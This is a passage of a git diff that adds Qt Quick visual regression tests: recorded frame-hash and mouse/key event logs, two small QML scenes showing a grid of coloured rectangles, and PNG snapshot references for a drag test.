+ msec: 8176
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8192
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8208
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8224
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8240
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8256
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8272
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8288
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8304
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8320
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8336
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8352
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8368
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8384
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8400
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8416
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8432
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8448
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8464
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8480
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8496
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8512
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8528
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8544
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8560
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8576
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8592
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8608
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8624
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8640
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8656
+ image: "gridview2.9.png"
+ }
+ Frame {
+ msec: 8672
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8688
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8704
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8720
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8736
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8752
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8768
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8784
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8800
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8816
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8832
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8848
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8864
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8880
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8896
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8912
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8928
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8944
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8960
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8976
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 8992
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 9008
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 9024
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview.qml b/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview.qml
new file mode 100644
index 00000000..95556f14
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview.qml
@@ -0,0 +1,51 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 300; height: 400; color: "black"
+
+ ListModel {
+ id: appModel
+ ListElement { lColor: "red" }
+ ListElement { lColor: "yellow" }
+ ListElement { lColor: "green" }
+ ListElement { lColor: "blue" }
+ ListElement { lColor: "purple" }
+ ListElement { lColor: "orange" }
+ ListElement { lColor: "pink" }
+ ListElement { lColor: "brown" }
+ ListElement { lColor: "gray" }
+ ListElement { lColor: "red" }
+ ListElement { lColor: "yellow" }
+ ListElement { lColor: "green" }
+ ListElement { lColor: "blue" }
+ ListElement { lColor: "purple" }
+ ListElement { lColor: "orange" }
+ ListElement { lColor: "pink" }
+ ListElement { lColor: "brown" }
+ ListElement { lColor: "gray" }
+ }
+
+ Component {
+ id: appDelegate
+ Item {
+ width: 100; height: 100
+ Rectangle {
+ color: lColor; x: 4; y: 4
+ width: 92; height: 92
+ }
+ }
+ }
+
+ Component {
+ id: appHighlight
+ Rectangle { width: 100; height: 100; color: "white"; z: 0 }
+ }
+
+ GridView {
+ anchors.fill: parent
+ cellWidth: 100; cellHeight: 100; cacheBuffer: 200
+ model: appModel; delegate: appDelegate
+ highlight: appHighlight
+ focus: true
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview2.qml b/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview2.qml
new file mode 100644
index 00000000..0dd9d0e6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview2.qml
@@ -0,0 +1,62 @@
+import QtQuick 1.0
+
+Rectangle {
+ property string skip: "Last bit is wrong (rest is probably right, just bitrot). QTBUG-14838"
+ width: 300; height: 400; color: "black"
+
+ ListModel {
+ id: appModel
+ ListElement { lColor: "red" }
+ ListElement { lColor: "yellow" }
+ ListElement { lColor: "green" }
+ ListElement { lColor: "blue" }
+ ListElement { lColor: "purple" }
+ ListElement { lColor: "orange" }
+ ListElement { lColor: "pink" }
+ ListElement { lColor: "brown" }
+ ListElement { lColor: "gray" }
+ ListElement { lColor: "red" }
+ ListElement { lColor: "yellow" }
+ ListElement { lColor: "green" }
+ ListElement { lColor: "blue" }
+ ListElement { lColor: "purple" }
+ ListElement { lColor: "orange" }
+ ListElement { lColor: "pink" }
+ ListElement { lColor: "brown" }
+ ListElement { lColor: "gray" }
+ ListElement { lColor: "red" }
+ ListElement { lColor: "yellow" }
+ ListElement { lColor: "green" }
+ }
+
+ Component {
+ id: appDelegate
+ Item {
+ width: 100; height: 100
+ Rectangle {
+ color: lColor; x: 4; y: 4
+ width: 92; height: 92
+ }
+ }
+ }
+
+ GridView {
+ id: gridView; anchors.fill: parent
+ cellWidth: 100; cellHeight: 100; cacheBuffer: 200
+ model: appModel; delegate: appDelegate; focus: true
+ keyNavigationWraps: true
+
+ flickableData: [//Presumably the different way of doing highlight tests more things
+ Rectangle {
+ color: "transparent"; border.color: "white"; border.width: 8; z: 3000
+ height: 100; width: 100
+ x: gridView.currentItem.x
+ y: gridView.currentItem.y
+
+ Behavior on x { SmoothedAnimation { velocity: 500 } }
+ Behavior on y { SmoothedAnimation { velocity: 500 } }
+ }
+ ]
+ }
+
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.0.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.0.png
new file mode 100644
index 00000000..dd992cc6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.1.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.1.png
new file mode 100644
index 00000000..dd992cc6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.2.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.2.png
new file mode 100644
index 00000000..887d395d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.3.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.3.png
new file mode 100644
index 00000000..055258de
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.4.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.4.png
new file mode 100644
index 00000000..dd992cc6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.5.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.5.png
new file mode 100644
index 00000000..d3d35afa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.6.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.6.png
new file mode 100644
index 00000000..2028c960
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.7.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.7.png
new file mode 100644
index 00000000..a667cf94
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.8.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.8.png
new file mode 100644
index 00000000..2f0967dc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.qml b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.qml
new file mode 100644
index 00000000..001861d5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.qml
@@ -0,0 +1,5207 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "drag.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 48
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 64
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 80
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 96
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 112
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 128
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 144
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 160
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 176
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 192
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 208
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 224
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 240
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 256
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 272
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 288
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 304
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 320
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 336
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 352
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 368
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 384
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 400
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 416
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 432
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 448
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 464
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 480
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 496
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 512
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 528
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 544
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 560
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 576
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 592
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 608
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 624
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 640
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 656
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 672
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 688
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 704
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 720
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 736
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 752
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 768
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 784
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 800
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 816
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 832
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 848
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 864
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 880
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 896
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 912
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 928
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 944
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 960
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 976
+ image: "drag.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1008
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1024
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1040
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1056
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1072
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1088
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1104
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1120
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1136
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1152
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1168
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1184
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1200
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1216
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1232
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1248
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1264
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1280
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1296
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1312
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1328
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1344
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1360
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1376
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1392
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1408
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1424
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1440
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1456
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1472
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1488
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1504
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1520
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1536
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1552
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1568
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1584
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1600
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1616
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1632
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1648
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1664
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1680
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1696
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1712
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1728
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1744
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1760
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1776
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1792
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 16; y: 54
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1808
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 1824
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 16; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1840
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1856
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 18; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1872
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 19; y: 54
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1888
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 22; y: 49
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 29; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1904
+ hash: "a6c6df34bb552249393ba208ad327691"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 37; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1920
+ hash: "a611a57ed2bdf4eaa5e13612346ecce7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1936
+ image: "drag.2.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1952
+ hash: "6170ab3a7e51278ac4462b89fe7781b4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 87; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1968
+ hash: "32866f0aa5b13b3ab68661f49336439e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 100; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1984
+ hash: "26dc17c16eed46d37932cfe48d182b62"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 1
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 121; y: -3
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2000
+ hash: "ba70936fb44396fac184cc7ba0e94a90"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 130; y: -6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2016
+ hash: "bae13291d4f031c34d80428d83367ede"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: -8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2032
+ hash: "0a2fbfdc27bb6662553f637f1c325475"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: -9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 160; y: -9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2048
+ hash: "cdab85736dfcc4424d42e0e96094eded"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 170; y: -9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2064
+ hash: "76d51ce9ad69560d983d8d86d50f7bd0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 174; y: -9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2080
+ hash: "b5ada9e80f7f894aa141d5e3cfa5d69e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 176; y: -9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2096
+ hash: "446d35fc7b9c0fe4bf0bfe0182f994f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 183; y: -5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2112
+ hash: "cced849d314835d43ebd93bcfe396c12"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 188; y: -3
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2128
+ hash: "09696d700944c373f82d7c6f75d51c51"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 193; y: 0
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2144
+ hash: "af56586db93c49637c9bfbb17cac9001"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 199; y: 2
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2160
+ hash: "66fc1b30b4037aad3975036faccbb7a7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2176
+ hash: "3f443d9c89d6ba1b36ca9635bc32de1a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 217; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2192
+ hash: "df47db8cc7bb466b298749a6449d3d70"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 227; y: 15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 234; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 241; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
